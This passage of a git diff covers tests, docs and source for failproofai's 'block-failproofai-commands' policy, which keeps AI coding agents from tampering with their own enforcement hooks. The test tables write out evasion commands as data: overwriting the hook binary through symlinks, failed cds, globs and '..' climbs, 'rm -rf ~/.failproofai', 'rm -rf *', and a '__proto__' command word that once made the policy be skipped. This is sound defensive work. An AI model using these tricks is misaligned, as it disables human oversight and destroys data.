node_modules/.bin/"], // A program handed to a shell is judged as the command it is. ["bash -c around a copy", "bash -c 'cp /tmp/stub.sh node_modules/.bin/failproofai'"], + // A `cd` that fails leaves the shell where it was, and `;` runs the next + // command anyway. + ["a cd out of the state that may fail", "cd ~/.failproofai; cat config.json; cd /elsewhere; rm -rf *"], + // A `..` that climbs above the sixteen directories the walk reads from. + ["a climb above a deep cd", "cd node_modules/.bin && cd a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q && printf x > ../../../../../../../../../../../../../../../../../failproofai"], + // Symlinks the same line makes, before any `lstat` could see them. + ["a write through a link the line makes to the directory", "ln -s /work/proj/node_modules/.bin /tmp/bins && printf x > /tmp/bins/failproofai"], + ["a write through a link the line makes to the entry", "ln -s /work/proj/node_modules/.bin/failproofai /tmp/hook && printf x > /tmp/hook"], + // In a loop, an assignment later on the line can come first. + ["a loop that assigns the directory after the copy", 'while :; do cp /tmp/x "$D/failproofai"; D=/work/proj/node_modules/.bin; done'], + // Shim names spelled with a glob, as a destination and as a source. + ["a glob for npm's cmd shim", "cp /tmp/stub.cmd node_modules/.bin/failproofai.[c]md"], + ["a glob source for npm's cmd shim", "cp /tmp/stage/failproofai.[c]md node_modules/.bin/"], + ["moving a .bin directory given with a trailing slash", "mv /tmp/x/.bin/ ~/node_modules/"], + // A command word that is also an Object property name once threw inside + // the guard, and a policy that throws is skipped. + ["a command named like an Object method", "constructor -v; cp /tmp/x node_modules/.bin/failproofai"], + ["a command named __proto__", "__proto__ -v; rm -rf ~/.failproofai"], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -360,6 +397,25 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(cwd, command)).toBe("deny"); }); + // A move that can fail leaves the shell where it already was, and only + // `&&` makes the next command wait for it. + it.each([ + ["/work/proj/node_modules/.bin", "cd /nonexistent; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /tmp || true; cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin", "cd /tmp && true; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /a && cd /b; cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin/sub", "cd /tmp; cd ..; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /nonexistent; popd; printf x > failproofai"], + // `-n` changes the stack and leaves the shell where it is. + ["/work/proj/node_modules/.bin", "pushd -n /tmp; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "popd -n; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q && cp /tmp/x ../../../../../../../../../../../../../../../../../failproofai"], + ["/work/proj", "ln -s node_modules/.bin bins; cp /tmp/stub.sh bins/failproofai"], + ["/work/proj", "ln -sfn node_modules/.bin bins && cp /tmp/failproofai bins/"], + ])("denies a write where the shell may still stand, from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], @@ -418,10 +474,31 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a backup with a comment naming the state", "cp -r ~/.failproofai /tmp/bak # copy of ~/.failproofai"], ["a find whose comment names -delete", "find ~/.failproofai -name '*.log' -print # not -delete yet"], ["a read run through bash -c", "bash -c 'cat ~/.failproofai/policies-config.json'"], + // rsync puts a source directory inside the destination; it does not + // become npm's bin directory. + ["syncing a directory into the bin directory", "rsync -a /tmp/my-tool node_modules/.bin/"], + // Outside a loop the shell reads a variable as it stands at that point. + ["a variable assigned only after its use", 'D=/tmp; cp notes.txt "$D/failproofai"; D=/work/proj/node_modules/.bin'], + // Each stage of a pipeline is a subshell, so its cd moves nothing after it. + ["a cd in a pipeline stage", "cd node_modules/.bin | true; cp notes.txt failproofai"], + // `cd -` and `popd` return to where the shell already stood. + ["a cd - back out of the state", "cd ~/.failproofai; cat config.json; cd -; rm -rf node_modules"], + ["leaving through a link to elsewhere", "ln -s /work/proj/dist current && rm -rf current/x"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); + it.each([ + // The session's own directory exists, so a cd back to it does not fail. + ["/work/proj", "cd ~/.failproofai; cat config.json; cd /work/proj; rm -rf node_modules"], + ["/work/proj", "cd frontend; npm install; cd ..; rm -rf node_modules"], + ["/work/proj", "cd /tmp; printf x > notes.txt"], + ["/work/proj", "cd node_modules/.bin && ls -la && cd ../.. && rm -rf build"], + ["/work/proj", "pushd /tmp && make && popd && rm -rf out"], + ])("allows ordinary moves from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + it.each([ ["a checkout of failproofai itself", "/home/u/src/failproofai", "npm test"], ["a checkout of failproofai itself", "/home/u/src/failproofai", "rm -rf dist"], @@ -443,6 +520,13 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a script of 700 cd / build / cd ../.. steps", "bash <<'EOF'\n" + Array.from({ length: 700 }, (_, i) => `cd packages/pkg-${i}\nnpm run build\ncd ../..`).join("\n") + "\nEOF"], ["2,000 relative cds", Array(2000).fill("cd a").join(" && ") + " && ls"], ["1,000 cds into globs", Array(1000).fill("cd a*").join(" && ") + " && ls"], + // Each `;` keeps the directories a failed cd would leave the shell in. + ["2,000 cds that may each fail", Array(2000).fill("cd a").join("; ") + "; ls"], + ["2,000 cds into globs that may each fail", Array(2000).fill("cd a*").join("; ") + "; ls"], + [ + "1,000 links and a write through each", + Array.from({ length: 1000 }, (_, i) => `ln -s /tmp/t${i} /tmp/l${i}; printf x > /tmp/l${i}/f`).join("; "), + ], ["a 2,000-segment glob", "rm -rf " + Array(2000).fill("*").join("/")], // A value that refers to itself grew with every expansion pass. ["a self-referring variable", "A=" + "$A".repeat(100) + "; echo $A"], @@ -461,18 +545,22 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs const names = new Set(); const viaNpx: string[] = []; const otherwise: string[] = []; + const mixed: string[] = []; for (const integration of listIntegrations()) { if (!integration.scopes.includes("project")) continue; - let found = false; - for (const eventType of integration.eventTypes) { + // Every event's entry, not just one: an event launched some other way + // would be a hook the guard was never checked against. + const launched = integration.eventTypes.map((eventType) => { const entry = JSON.stringify(integration.buildHookEntry("/opt/fp/bin/failproofai", eventType, "project")); - for (const [, name] of entry.matchAll(/npx -y (\S+)/g)) { - names.add(name); - found = true; - } - } - (found ? viaNpx : otherwise).push(integration.id); + const found = [...entry.matchAll(/npx -y (\S+)/g)].map(([, name]) => name); + for (const name of found) names.add(name); + return found.length > 0; + }); + if (launched.every(Boolean)) viaNpx.push(integration.id); + else if (launched.some(Boolean)) mixed.push(integration.id); + else otherwise.push(integration.id); } + expect(mixed).toEqual([]); // A new integration, or a new launcher (`npx --yes`, `bunx`), lands in one // of these lists and fails here until the guard is checked against it. expect(viaNpx.sort()).toEqual(["antigravity", "claude", "codex", "copilot", "cursor", "devin", "factory", "goose"]); diff --git a/docs/policies/local-configuration.mdx b/docs/policies/local-configuration.mdx index 3f4f9e4ed..e61efb198 100644 --- a/docs/policies/local-configuration.mdx +++ b/docs/policies/local-configuration.mdx @@ -22,7 +22,7 @@ failproofai policies Not every harness supports local scope; the CLI rejects a scope the selected harness cannot represent. -Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path. npx runs a `failproofai` the project provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`. It also applies the project's `.npmrc` and your own `~/.npmrc`. `block-failproofai-commands` refuses agent commands and file edits that write `node_modules/.bin/failproofai` or put a directory onto a `node_modules/.bin`. It does not refuse a dependency install or an edit to `package.json` or `.npmrc`, any of which can replace what the hook runs. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so a repository does not decide which CLI they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. +Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path (Pi's are the exception: its project file points at the extension inside the installed package). npx runs a `failproofai` the project provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`. It also applies the project's `.npmrc` and your own `~/.npmrc`. `block-failproofai-commands` refuses agent commands and file edits that write `node_modules/.bin/failproofai` or put a directory onto a `node_modules/.bin`. It does not refuse a dependency install or an edit to `package.json` or `.npmrc`, any of which can replace what the hook runs. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so a repository does not decide which CLI they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. Which pack policies are on is **not** scoped. The switch is recorded with the installed pack, so `failproofai policies add ` turns a policy on for the whole machine, whatever `--scope` says. diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index a2d33df12..8ddda56f4 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -736,7 +736,12 @@ const COPY_COMMANDS = new Set(["cp", "rsync", "install"]); * installs `agentd`. `t` is the target directory for all but rsync, where it * is `--times`. */ -const INTO_DIRECTORY_OPTIONS: Record = { +type IntoDirectoryOptions = { short: string; values: readonly string[]; flags: readonly string[] }; + +// A Map, not an object literal: a command named `constructor` or `__proto__` +// must not find Object.prototype's member here, or the walk throws and the +// evaluator skips this always-on policy (found by CodeRabbit on #1058). +const INTO_DIRECTORY_OPTIONS = new Map(Object.entries({ // From each command's `--help` (GNU coreutils 9, rsync 3.4.1): `values` take // one, `flags` take none or only an `=VALUE` glued on. cp: { @@ -799,7 +804,7 @@ const INTO_DIRECTORY_OPTIONS: Record)); /** * The long option `name` stands for, and whether it takes a value: an exact @@ -964,6 +969,9 @@ const PIPELINE_SEPARATORS = /\|\||&&|[;\n\r&]+/; /** A `$VAR` or `${VAR}` reference, wherever it sits. */ const VAR_REFERENCE_RE = /\$\{?([A-Za-z_][A-Za-z0-9_]*)\}?/g; +/** `NAME=value` or `export NAME=value`, quoted or not, wherever it sits. */ +const ASSIGNMENT_RE = /(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]+)/g; + /** * The spellings of the state directory a glob would have to match. * @@ -1005,10 +1013,13 @@ const STATE_GLOB_CANDIDATES = [ "/opt/homebrew/bin/failproofai", "~/.bun/bin/failproofai", "~/.volta/bin/failproofai", - // The entry a project-scope `npx -y failproofai` runs (FailproofAI/agenteye#1795). - "node_modules/.bin/failproofai", - "./node_modules/.bin/failproofai", - ".bin/failproofai", + // The entry a project-scope `npx -y failproofai` runs (FailproofAI/agenteye#1795), + // and the Windows shims beside it. + ...["", ".cmd", ".ps1", ".exe", ".bunx"].flatMap((shim) => [ + `node_modules/.bin/failproofai${shim}`, + `./node_modules/.bin/failproofai${shim}`, + `.bin/failproofai${shim}`, + ]), ]; /** How many `/`-separated segments the deepest glob candidate has. */ @@ -1049,6 +1060,7 @@ const GLOB_DECOYS = [ // Other packages' entries beside it, so `rm -rf node_modules/.bin/*` is the // sweep it is rather than an aim at failproofai's. "node_modules/.bin/tsc", "./node_modules/.bin/tsc", ".bin/tsc", + "node_modules/.bin/tsc.cmd", "./node_modules/.bin/tsc.cmd", ".bin/tsc.cmd", // Another dotfile ending in `ai`, so the `.*ai` of a sed program is a sweep. ".openai", ]; @@ -1597,16 +1609,18 @@ function commandWordList(simpleCommand: string): string[] { * check. `inShell` resolves a relative word against a `cd` the walk followed; * `lost` says the walk could not follow one, so a relative destination may be * npm's bin directory and the entry's own name there is refused. + * `landsOnState` judges where a written path really lands, symlinks followed. */ function landsInDirectoryAs( words: string[], namesState: (text: string) => boolean, inShell: (word: string) => string = (word) => word, lost = false, + landsOnState: (written: string) => boolean = () => false, ): boolean { if (words.length === 0) return false; const head = commandBasename(words[0]); - const options = INTO_DIRECTORY_OPTIONS[head]; + const options = INTO_DIRECTORY_OPTIONS.get(head); if (!options) return false; const operands: string[] = []; let directory: string | undefined; @@ -1664,7 +1678,7 @@ function landsInDirectoryAs( const written = directory ?? (head === "ln" && operands.length === 1 ? "." : operands[operands.length - 1]); if (written === undefined || sources.length === 0) return false; const destination = inShell(written); - if (directory === undefined && namesState(destination)) return true; + if (directory === undefined && (namesState(destination) || landsOnState(written))) return true; const baseName = (path: string) => path.slice(Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\")) + 1); if (lost && directory === undefined && relativeWord(written) && couldBeEntryName(baseName(written))) return true; @@ -1674,14 +1688,20 @@ function landsInDirectoryAs( // that exists, and so does `ln` given a trailing separator, so neither can. // Copying what is IN a directory (`src/.`, rsync's `src/`, `-T`) fills an // existing one with names that are not on the line. + // rsync never makes the destination a copy of a source directory: it puts + // `src` inside it, or with `src/` what is in `src`. const createsDirectory = - directory === undefined && !(head === "ln" && /[\\/]$/.test(written)) && (head === "mv" || head === "ln" || recursive); + directory === undefined && + !(head === "ln" && /[\\/]$/.test(written)) && + (head === "mv" || head === "ln" || (recursive && head !== "rsync")); const copiesContents = recursive && (ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))); if (NPM_BIN_DIRECTORY_RE.test(into) && (createsDirectory || copiesContents)) return true; if (into === "" || ontoItself) return false; return sources.some((source) => { - if (/[\\/]$/.test(source)) return false; - const name = baseName(source); + // A trailing separator keeps the directory's own name everywhere but rsync, + // where `src/` means what is in it. + if (head === "rsync" && /[\\/]$/.test(source)) return false; + const name = baseName(source.replace(/[\\/]+$/, "")); if (name === "" || name === "." || name === "..") return false; if (lost && relativeWord(into) && couldBeEntryName(name)) return true; const landing = `${into}/${name}`; @@ -1689,15 +1709,19 @@ function landsInDirectoryAs( if (NPM_BIN_DIRECTORY_RE.test(landing) && (head === "mv" || head === "ln" || recursive)) return true; // A glob source puts names the line does not spell into the directory. if (NPM_BIN_DIRECTORY_RE.test(into) && GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)) return true; - if (!namesState(landing)) return false; - return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing); + if (!namesState(landing) && !landsOnState(`${written.replace(/[\\/]+$/, "")}/${name}`)) return false; + return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing) || landsOnState(`${written.replace(/[\\/]+$/, "")}/${name}`); }); } -/** True when a one-segment glob could expand to the entry's own name. */ +/** The entry's own name and the Windows shims npm and bun write beside it. */ +const ENTRY_NAMES = ["failproofai", "failproofai.cmd", "failproofai.ps1", "failproofai.exe", "failproofai.bunx"]; + +/** True when a one-segment glob could expand to the entry's name or a shim's. */ function globCouldBeEntry(name: string): boolean { try { - return new RegExp(`^${compileGlobPattern(name)}$`, "i").test("failproofai"); + const pattern = new RegExp(`^${compileGlobPattern(name)}$`, "i"); + return ENTRY_NAMES.some((entry) => pattern.test(entry)); } catch { return true; } @@ -1863,7 +1887,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // independent of the order the assignments appear in, rather than resting on // a shell evaluating them top to bottom. const assignments = [ - ...command.matchAll(/(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]+)/g), + ...command.matchAll(ASSIGNMENT_RE), ].map(([, name, value]) => [name, value.replace(/^["']|["']$/g, "")] as const); const stateVars = new Set(); for (let pass = 0; pass < assignments.length + 1; pass++) { @@ -1915,100 +1939,236 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai`, or // the same `printf` in a session a previous call left there, names // `node_modules/.bin/failproofai` only once `failproofai` is read from there - // (FailproofAI/agenteye#1795). Kept as its last `SHELL_DIR_SEGMENTS` segments - // with `.` and `..` resolved, because the patterns match the tail of a path - // and an unbounded path made every later word slower to judge. - let shellDir = startDir ? shellTail(shellPath(undefined, startDir)) : undefined; - // A `cd` the walk could not follow (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`) - // may have put the shell in npm's bin directory, so until the next one it can - // follow, a relative word is also judged as if it stood in an installed - // location (`AS_IF_INSTALLED`). - let lostTrack = false; - type Where = { dir: string | undefined; lost: boolean; inState: boolean }; + // (FailproofAI/agenteye#1795). + // + // `dir` is the directory's last `SHELL_DIR_SEGMENTS` segments, which is what + // words are read from: every pattern matches the end of a path, and an + // unbounded path made every later word slower to judge. `full` is the whole + // path, absolute when the session's directory is known and otherwise relative + // to wherever the line started (`.`); it is what a `..` that climbs above + // `dir` and a symlink are resolved from. Past `FULL_DIR_SEGMENTS` it is + // dropped and `deep` set. `lost` marks a `cd` the walk could not follow + // (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`): a relative word is then also + // judged as if it stood in an installed location (`AS_IF_INSTALLED`). + type Where = { dir: string | undefined; full: string | undefined; deep: boolean; lost: boolean; inState: boolean }; + const startFull = typeof startDir === "string" && startDir !== "" ? shellPath(undefined, startDir) || "." : "."; + let at: Where = { + dir: startFull === "." ? undefined : shellTail(startFull), + full: startFull, + deep: false, + lost: false, + inState: false, + }; let previous: Where | null = null; const dirStack: Where[] = []; - const shellDirScopes: Array<{ depth: number; at: Where; previous: Where | null; stack: Where[] }> = []; - const here = (): Where => ({ dir: shellDir, lost: lostTrack, inState: cwdInState }); - // A relative word read from where the shell stands, and `//`, `.` and `..` - // resolved in any. - const inShell = (word: string): string => - relativeWord(word) && shellDir !== undefined - ? shellPath(shellDir, word) + // Where the shell may stand instead. A `cd` can fail, and a command after + // `;`, a newline, `&` or `||` runs anyway, in the directory the shell never + // left: `cd /nonexistent; printf x > failproofai`. Only `&&` makes what + // follows wait for the `cd`. So the directories a move leaves are held in + // `pending` until the next separator, and become possible (`alts`) unless + // that separator is `&&`. + let alts: Where[] = []; + let pending: Where[] = []; + const scopes: Array<{ + depth: number; + at: Where; + previous: Where | null; + stack: Where[]; + alts: Where[]; + pending: Where[]; + }> = []; + const sameWhere = (x: Where, y: Where) => x.dir === y.dir && x.full === y.full && x.lost === y.lost; + // Each place once, not where the shell certainly is, and only the latest few. + const possible = (list: Where[], limit = MAX_ALTERNATE_DIRS): Where[] => { + const kept: Where[] = []; + for (const where of list.slice().reverse()) { + if (kept.length < limit && !sameWhere(where, at) && !kept.some((other) => sameWhere(other, where))) { + kept.unshift(where); + } + } + return kept; + }; + // Symlinks this line makes (`ln -s `), which no `lstat` sees + // yet, followed the way the kernel does: the first component that is one is + // replaced by where it points, and the result is walked again. + const links = new Map(); + const followLinks = (path: string): string => { + let linked = path; + for (let hops = 0; hops < 8 && links.size > 0; hops++) { + let next: string | undefined; + for (let i = linked.indexOf("/", 1); next === undefined; i = linked.indexOf("/", i + 1)) { + const prefix = i === -1 ? linked : linked.slice(0, i); + const target = links.get(prefix); + if (target !== undefined) next = target + linked.slice(prefix.length); + if (i === -1) break; + } + if (next === undefined) break; + linked = shellPath(undefined, next); + } + return linked; + }; + + // A relative word read from `base`, and `//`, `.` and `..` resolved in any. + const fromBase = (base: Where, word: string): string => + relativeWord(word) && base.dir !== undefined + ? shellPath(base.dir, word) : /\/\/|(?:^|\/)\.\.?(?:\/|$)/.test(word) ? shellPath(undefined, word) || "." : word; - const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text); - // Whether `text`, read from where the shell stands, names what `namesState` - // protects — asked apart from `namesState(text)` where the whole line has - // already been judged as written. - const resolvesOntoState = (text: string): boolean => { + const resolvesFrom = (base: Where, text: string): boolean => { // An option is not a path to read from where the shell stands. if (text.startsWith("-")) return false; + if (base.lost && relativeWord(text)) { + if (AS_IF_INSTALLED.some((dir) => namesState(dir + text))) return true; + } + // A `..` can climb above `dir`. Then it is read from the whole path, cut + // the same way, or when even that was too long to keep, as if from an + // installed location. + if (relativeWord(text) && text.includes("..") && !base.lost) { + const climbed = fromBase(base, text); + if (climbed.startsWith("..") || (base.dir !== undefined && !climbed.startsWith("/") && base.full?.startsWith("/"))) { + if (base.full !== undefined) { + const whole = shellPath(base.full === "." ? undefined : base.full, text); + if (FAILPROOFAI_STATE_PATH_RE.test(whole) || namesState(shellTail(whole))) return true; + } else if (base.deep && climbed.startsWith("..")) { + const rest = climbed.replace(/^(?:\.\.\/)+/, ""); + if (AS_IF_INSTALLED.some((dir) => namesState(dir + rest))) return true; + } + } + } + if (base.lost) return false; // Every pattern spells `failproof`, so only a word or a directory that // does, or a glob that could, can resolve onto one. A glob as written is // already tried against every candidate that starts with a relative // directory, so it is read from where the shell stands only when that is a // directory a candidate continues from by one name (`node_modules/.bin` // and `fail*`), or when it climbs out with `..`. - const spellsName = /failproof/i.test(text) || /failproof/i.test(shellDir ?? ""); - if (!spellsName) { + if (!/failproof/i.test(text) && !/failproof/i.test(base.dir ?? "")) { if (!GLOB_METACHAR_RE.test(text)) return false; - const parent = (shellDir ?? "").slice((shellDir ?? "").lastIndexOf("/") + 1).toLowerCase(); - if (!lostTrack && !GLOB_PARENT_DIRECTORIES.has(parent) && !text.includes("..")) return false; + const parent = (base.dir ?? "").slice((base.dir ?? "").lastIndexOf("/") + 1).toLowerCase(); + if (!GLOB_PARENT_DIRECTORIES.has(parent) && !text.includes("..")) return false; } - if (lostTrack && relativeWord(text)) return AS_IF_INSTALLED.some((dir) => namesState(dir + text)); - const resolved = inShell(text); + const resolved = fromBase(base, text); return resolved !== text && namesState(resolved); }; - // What the line assigns, so a word built from it is judged as the path it - // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` and `~+` are - // where the shell stands, `~-` where it stood, `$HOME` is `~` unless the line - // sets it. A variable the line never sets stays a reference, and a `cd` into - // one is a `cd` the walk cannot follow. Every word is judged as written as - // well, so an assignment the shell never makes (`: D=x`) cannot hide one. - const values = new Map(assignments); + // Whether `text`, read from where the shell stands or may stand, names what + // `namesState` protects — asked apart from `namesState(text)` where the whole + // line has already been judged as written. + const resolvesOntoState = (text: string): boolean => + resolvesFrom(at, text) || alts.some((base) => resolvesFrom(base, text)); + // A written path as the absolute path it spells from `base`: `plain` as + // text, `linked` with the symlinks this line made applied. + const absoluteFrom = (base: Where, written: string): { plain: string; linked: string } | undefined => { + if (written === "" || written.startsWith("-") || written.includes("$") || GLOB_METACHAR_RE.test(written)) { + return undefined; + } + const plain = written.startsWith("/") + ? shellPath(undefined, written) + : written === "~" || written.startsWith("~/") + ? shellPath(undefined, homedir() + written.slice(1)) + : relativeWord(written) && !base.lost && base.full?.startsWith("/") + ? shellPath(base.full, written) + : undefined; + return plain === undefined ? undefined : { plain, linked: followLinks(plain) }; + }; + const realPaths = new Map(); + const realPath = (path: string): string => { + let real = realPaths.get(path); + if (real === undefined) realPaths.set(path, (real = resolveWriteTarget(path, undefined) || path)); + return real; + }; + // Whether a path really lands on what `namesState` protects once symlinks + // are followed — those on disk, as the file tools already follow them, and + // those this line makes: `printf x > bins/failproofai` where `bins` links to + // `node_modules/.bin`. Only a link counts, so a backup that merely carries a + // protected name somewhere else (`/tmp/backup/.failproofai`) does not. + const landsOnState = (written: string): boolean => + [at, ...alts].some((base) => { + const path = absoluteFrom(base, written); + if (path === undefined) return false; + const real = realPath(path.linked); + return real !== path.plain && namesState(real); + }); + const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); + // What the line has assigned by the point the walk reaches, so a word built + // from it is judged as the path it spells: `B=~/node_modules/.bin; ln -s + // /tmp/stage $B`. In a loop a later assignment can come first, so there the + // last one is known from the start. `$PWD` and `~+` are where the shell + // stands, `~-` where it stood, `$HOME` is `~` unless the line sets it. A + // variable the line never sets stays a reference, and a `cd` into one is a + // `cd` the walk cannot follow. Every word is judged as written as well, so an + // assignment the shell never makes (`: D=x`) cannot hide one. + const values = new Map(LOOP_HEADER_RE.test(command) ? assignments : []); const expand = (word: string): string => { let out = word; - if (out.startsWith("~+") && shellDir !== undefined && !lostTrack) out = shellDir + out.slice(2); + if (out.startsWith("~+") && at.dir !== undefined && !at.lost) out = at.dir + out.slice(2); else if (out.startsWith("~-") && previous?.dir !== undefined && !previous.lost) out = previous.dir + out.slice(2); for (let pass = 0; pass < 3 && out.includes("$"); pass++) { out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => - name === "PWD" && shellDir !== undefined && !lostTrack ? shellDir : values.get(name) ?? (name === "HOME" ? "~" : reference), + name === "PWD" && at.dir !== undefined && !at.lost ? at.dir : values.get(name) ?? (name === "HOME" ? "~" : reference), ); // A value that refers to itself grows with every pass. if (out.length > 4096) return word; } return out; }; - // `full` is the directory before `shellTail` cuts it, so a deep path inside - // the state is still known to be inside it; `named` is the operand as - // written, judged when the walk cannot follow it. - const moveTo = (to: Where | { dir: string | undefined; lost: boolean; full?: string; named?: string }) => { - previous = here(); - shellDir = to.dir === undefined ? undefined : shellTail(to.dir); - lostTrack = to.lost; - cwdInState = - "inState" in to - ? to.inState - : (!to.lost && to.dir !== undefined && namesState(to.full ?? to.dir)) || (to.named !== undefined && namesState(to.named)); - cdParenDepth = cwdInState ? parenDepth : null; - }; - const moveToWord = (target: string, named: string) => { - if (/\$|`/.test(target)) { - moveTo({ dir: undefined, lost: true, named }); - return; + // `named` is the operand as written, judged when the walk cannot follow it. + const whereAfter = (base: Where, target: string, named: string): Where => { + if (/\$|`/.test(target)) return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; + const relative = relativeWord(target); + if (relative && base.lost) { + return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; } - const full = shellPath(relativeWord(target) && !lostTrack ? shellDir : undefined, target); - moveTo({ dir: full, lost: lostTrack && relativeWord(target), full, named }); + const homeBased = target === "~" || target.startsWith("~/"); + let full: string | undefined = !relative + ? target.startsWith("/") + ? shellPath(undefined, target) + : homeBased + ? shellPath(undefined, homedir() + target.slice(1)) + : undefined + : base.full !== undefined + ? shellPath(base.full === "." ? undefined : base.full, target) || "." + : undefined; + // `~user` and a `cd` from a directory too deep to keep are read from `dir`. + const fromDir = shellPath(relative ? base.dir : undefined, target); + let deep = relative && base.deep; + if (full !== undefined && full.length > FULL_DIR_SEGMENTS && full.split("/").length > FULL_DIR_SEGMENTS) { + full = undefined; + deep = true; + } + const kept = full !== undefined ? (full === "." ? undefined : shellTail(full)) : shellTail(fromDir); + // Inside the state: going further down from inside stays inside, so only a + // move that names a new path or climbs out reads the whole path again. + const climbs = /(?:^|\/)\.\.(?:\/|$)/.test(target); + const inState = + namesState(named) || + (kept !== undefined && namesState(kept)) || + (relative && !climbs + ? base.inState + : full !== undefined && (!relative || base.inState) && FAILPROOFAI_STATE_PATH_RE.test(full)); + return { dir: kept, full, deep, lost: false, inState }; + }; + // Moves the shell to `to`, and anywhere else it may stand to `others`. If + // the move fails, it stays wherever it was, which `pending` keeps — unless + // it returns somewhere the shell has already stood (`popd`, `cd -`, the + // session's own directory), which exists. + const moveTo = (to: Where, others: Where[] = [], certain = false) => { + if (sameWhere(to, at) && alts.length === 0) return; + previous = at; + if (!certain) pending = [...pending, at, ...alts].slice(-2 * MAX_ALTERNATE_DIRS); + at = to; + alts = possible(others); + cwdInState = at.inState; + cdParenDepth = cwdInState ? parenDepth : null; }; // `cd`, `pushd` and `popd` as bash runs them. A move that fails — `popd` on // an empty stack, `cd -` with nowhere to go back to, `cd ""` — leaves the // shell where it was, never somewhere safe. `+N` / `-N` count entries the // way `dirs` lists them: the current directory first, then the stack from - // its top. `cd -` is `$OLDPWD` and a bare `cd` is `$HOME`, either of which - // the line may set itself. + // its top, and `-n` changes the stack without moving. `cd -` is `$OLDPWD` and + // a bare `cd` is `$HOME`, either of which the line may set itself. const moveShell = (head: string, args: string[], expandedArgs: string[]) => { - const at = here(); + const stackOnly = head !== "cd" && args.includes("-n"); const k = args.findIndex((w) => !w.startsWith("-") || w === "-" || /^[+-]\d+$/.test(w)); const named = k === -1 ? undefined : args[k]; const operand = k === -1 ? undefined : expandedArgs[k]; @@ -2016,41 +2176,72 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const entries = [at, ...[...dirStack].reverse()]; const n = Number(operand.slice(1)); const index = operand.startsWith("+") ? n : entries.length - 1 - n; - if (index < 0 || index >= entries.length) return; + if (index < 0 || index >= entries.length || stackOnly) return; if (head === "pushd") { const rotated = [...entries.slice(index), ...entries.slice(0, index)]; dirStack.splice(0, dirStack.length, ...rotated.slice(1).reverse()); - moveTo(rotated[0]); + moveTo(rotated[0], [], true); } else if (entries.length > 1) { const rest = entries.filter((_, i) => i !== index); dirStack.splice(0, dirStack.length, ...rest.slice(1).reverse()); - if (index === 0) moveTo(rest[0]); + if (index === 0) moveTo(rest[0], [], true); } return; } if (head === "popd") { const top = dirStack.pop(); - if (top) moveTo(top); + if (top && !stackOnly) moveTo(top, [], true); return; } if (head === "pushd" && operand === undefined) { + if (stackOnly) return; const top = dirStack.pop(); if (top) { dirStack.push(at); - moveTo(top); + moveTo(top, [], true); } return; } if (operand === "-") { const oldpwd = values.get("OLDPWD"); - if (oldpwd !== undefined) moveToWord(expand(oldpwd), oldpwd); - else if (previous) moveTo(previous); + if (oldpwd !== undefined) moveTo(whereAfter(at, expand(oldpwd), oldpwd)); + else if (previous) moveTo(previous, [], true); return; } if (operand === "") return; - if (head === "pushd") dirStack.push(at); const target = operand ?? expand("$HOME"); - moveToWord(target, named ?? target); + const to = whereAfter(at, target, named ?? target); + if (stackOnly) { + dirStack.push(to); + return; + } + if (head === "pushd") dirStack.push(at); + // Wherever else the shell may stand moves too, the same way. + moveTo( + to, + alts.map((where) => whereAfter(where, target, named ?? target)), + startFull.startsWith("/") && to.full === startFull, + ); + }; + // `ln -s `: where the link points, so a later write through + // it on the same line lands where it would. + const recordLink = (args: string[]): void => { + if (!args.some((a) => /^-[A-Za-z]*s/.test(a) || a === "--symbolic")) return; + if (args.some((a) 